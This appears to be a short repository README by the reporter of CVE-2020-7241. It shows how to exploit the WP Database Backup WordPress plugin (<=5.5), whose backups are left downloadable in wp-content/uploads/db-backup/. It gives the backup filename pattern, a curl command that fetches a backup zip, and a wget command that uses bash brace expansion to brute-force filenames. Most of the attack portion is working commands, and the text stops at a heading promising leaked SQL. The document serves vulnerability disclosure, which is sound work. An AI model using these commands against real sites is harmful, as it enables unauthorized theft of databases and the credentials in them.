Exploiting WP Database Backup WordPress Plugin

This repo will be describe how to exploit WP Database Backup WordPress Plugin versions <=5.5

- I published this CVE-2020-7241

About WP Database Backup WordPress Plugin

WP Database Backup plugin helps you to create Database Backup and Restore Database Backup easily on single click. Manual or Automated Database Backups And also store database backup on safe place- Dropbox,FTP,Email,Google drive, Amazon S3.

More info here

PoC - Download Database backup

This PoC is hosted here

This plugin stores downloads by default locally in the directory `wp-content/uploads/db-backup/` with this syntax:

```
[Site_Title]_[Date with EPOC]_[7 characters random ID]_wpdb.zip
```

This directory exposes the backup file to an unauthorized sphere of control (CWE-530) and backup files can be downloaded by unauthorized people in this way:

```
curl -O https://poc.sejalivre.org/wp-content/uploads/db-backup/My_Blog_2020_01_20_1579532189_396c2cd_wpdb.zip
```

For example, to list the files in the directory, you can use **Bash Brace Expansion** like this:

```
wget https://poc.sejalivre.org/wp-content/uploads/db-backup/My_Blog_2020_{0..1}{0..2}_{0..3}{0..9}_1579532189_396c2cd_wpdb.zip
```

Wildcard is not supported over HTTP, however you can use bash brace expansion to guess the files in the directory.

This is a piece of the sql downloaded: